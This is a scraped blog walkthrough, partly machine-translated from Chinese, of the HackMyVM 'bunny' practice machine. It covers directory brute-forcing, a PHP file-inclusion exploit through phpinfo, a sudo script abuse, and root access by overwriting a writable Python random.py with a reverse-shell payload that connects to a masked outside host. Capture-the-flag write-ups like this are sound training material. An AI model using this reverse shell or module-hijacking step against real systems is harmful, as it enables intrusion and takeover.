当前位置:网站首页>hackmyvm-bunny预排
hackmyvm-bunny预排
2022-08-02 03:59:00 【xdeclearn】
hackmyvm-buny walkthrough
难度(作者评价):difficult
信息收集
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
获取shell
Very little port information,常规操作,访问80,爆破目录.
upload.php,password.txt,config.phpAll are text files with no real meaning.phpinfo.phpInformation about the host was leaked.
能想到的就是index.php是不是存在ssrf
.于是利用ffuf
对index.php进行参数fuzz,得到参数page
is the actual request parameter.
由于allow_url_include
是off,So there is no way to do itphp://input
和data
协议利用. Blast log files also cannot be exploited for local file inclusion fetchesshell.
同时webThere is no upload point in the service,So refer to the articlephp文件包含漏洞(利用phpinfo)复现
[1],成功上传shell.
切换用户
Obtained for ease of operationpty,反弹一个shell,查看sudo
.
magic文件如下:
#/bin/bash
$1 $2 $3 -T -TT 'sh #'
It's easy to switch to userchris
,得到第一个flag.
提权至root
利用pspy64
可以看到rootRunning every minutependu.py
.
This file does nothing,但是引入了random
.
从图中可以看到random是可以修改的.于是将randomChange it to a bounceshell.
[email protected]:~$ cat /usr/lib/python3.7/random.py
cat /usr/lib/python3.7/random.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("*.*.*.*",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取root权限.
参考
- https://www.cnblogs.com/xiaoqiyue/p/10158702.html
边栏推荐
- GreenOptic: 1 vulnhub walkthrough
- JS对象, 函数和作用域
- The focus of the Dom implementation input triggers
- Basic use of v-on, parameter passing, modifiers
- 阿里云服务器如何使用admin账户登录
- CTF入门笔记之ping
- SQL:DDL、DML、DQL、DCL相应介绍以及演示
- Phpstudy安装Thinkphp6(问题+解决)
- [mikehaertl/php-shellcommand] A library for invoking external command operations
- hackmyvm-bunny walkthrough
猜你喜欢
Kali install IDEA
DVWA靶机安装教程
12.什么是JS
ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
DarkHole: 2 vulnhub walkthrough
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
(4) Function, Bug, Class and Object, Encapsulation, Inheritance, Polymorphism, Copy
CTF入门笔记之ping
稳定好用的短连接生成平台,支持API批量生成
随机推荐
ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
3.PHP数据类型、常量、字符串和运算符
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
逍遥多开模拟器ADB驱动连接
12.什么是JS
解决5+APP真机测试无法访问后台(同局域网)
TypeScript error error TS2469, error TS2731 solution
PHP的几个有趣的打开方式:从基本到变态
After the mailbox of the Pagoda Post Office is successfully set up, it can be sent but not received.
uniapp | 开发中遇到的兼容性问题(待续)
Masashi: 1 vulnhub walkthrough
ES6三点运算符、数组方法、字符串扩展方法
hackmyvm: juggling walkthrough
uniapp | 使用npm update更新后编译报错问题
vim编辑模式
数组的高级操作
13. JS output content and syntax
[sebastian/diff] A historical change extension library for comparing two texts
批量替换文件字体,简体->繁体
(3)Thinkphp6数据库